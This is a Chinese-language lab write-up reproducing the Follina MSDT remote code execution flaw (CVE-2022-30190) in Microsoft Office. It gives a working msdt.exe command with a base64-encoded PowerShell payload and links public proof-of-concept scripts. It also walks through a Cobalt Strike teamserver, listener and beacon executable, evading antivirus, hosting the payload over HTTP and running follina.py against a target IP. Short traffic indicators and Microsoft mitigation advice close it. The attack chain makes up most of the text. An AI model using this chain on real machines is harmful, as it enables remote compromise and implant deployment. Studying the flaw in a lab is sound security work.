CVE-2022-30190 MSDT远程代码执行漏洞复现

目录

0x01 声明：

0x02 简介：

0x03 漏洞概述：

0x04 影响版本：

0x05 环境搭建：

0x06 漏洞复现：

是否存在利用点：

CMD执行：

生成docx文件利用：

0x07 CS上线：

启动CS服务端：

CS客户端连接：

设置监听：

生成攻击exe：

宿主机启动8080服务：

利用POC

修改POC：

启动POC

文件放到Windows 10虚拟机

宿主机日志：

CS客户端上线:

0x08 流量分析：

MSDT流量：

0x09 修复建议：

---

0x01 声明：

        仅供学习参考使用，请勿用作违法用途，否则后果自负。

0x02 简介：

        Microsoft Office 是由 Microsoft (微软)公司开发的一套办公软件套装。常用组件有 Word、Excel、PowerPoint 等。

0x03 漏洞概述：

        Microsoft Office 存在远程代码执行漏洞，攻击者可通过恶意 Office 文件中远程模板功能从服务器获取恶意 HTML 文件，通过 'ms-msdt' URI 来执行恶意 PowerShell 代码。另外，该漏洞在宏被禁用的情况下，仍能通过 MSDT（Microsoft Support Diagnostics Tool）功能执行代码，当恶意文件保存为 RTF 格式时，甚至无需打开文件，通过资源管理器中的预览选项卡即可在目标机器上执行任意代码。

0x04 影响版本：

      Microsoft Office 2016、Microsoft Office 2021（其他版本有待确认）

0x05 环境搭建：

      Windows 10虚拟机（一定要把Windows Defender关闭）

参考这篇文章:

彻底关闭Windows Defender&Windows 更新_Evan Kang的博客-CSDN博客

      Windows 10 宿主机

      Kali 虚拟机

      POC1:

https://github.com/chvancooten/follina.py

https://download.csdn.net/download/qq_44281295/86727749?spm=1001.2014.3001.5501

      POC2:

https://github.com/JohnHammond/msdt-follina

https://download.csdn.net/download/qq_44281295/86727749?spm=1001.2014.3001.5501

0x06 漏洞复现：

是否存在利用点：

CMD执行：

​
msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

生成docx文件利用：

0x07 CS上线：

启动CS服务端：

chmod +x teamserver

./teamserver ip key(key为密钥，客户端连接时候使用)

CS客户端连接：

设置监听：

点击“Cobalt Strike”–“Listeners”—“Add”—输入“ Name” —添加“HTTP Hosts”—点击“Save”

生成攻击exe：

点击“Attacks”—“Packages”—“Windows Executable”—点击“…”—选择“test”—点击“Generate”—选择一个路径存放exe（注意加白，会被杀。）

宿主机启动8080服务：

主要目的是让被害主机从这个服务上下载CS生成的exe。

python -m http.server 8080

利用POC

POC地址：xxx

修改POC：

启动POC

python follina.py -i 192.168.18.130 -p 8000 -r 6000

 

文件放到Windows 10虚拟机

(注意加白，会被杀软干掉。)

宿主机日志：

宿主机8080会收到一条下载成功的日志

CS客户端上线:

0x08 流量分析：

(请求CS生成exe应该在VPS上的，测试环境中在攻击者这边生成比较方便)

MSDT流量：

在流量分析中，发现只会有几种请求头：

User-Agent: Microsoft Office Protocol Discovery

User-Agent: Microsoft Office Word 2014

Mozilla/4.0 (compatible; ms-office; MSOffice 16)

伴随着的请求方式有:

HEAD                请求路径为 “/index.html”

OPTIONS          请求路径为 “/”

0x09 修复建议：

        目前可参考官方文档禁用 MSDT URL 协议或通过 Microsoft Defender 检测和保护系统。

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/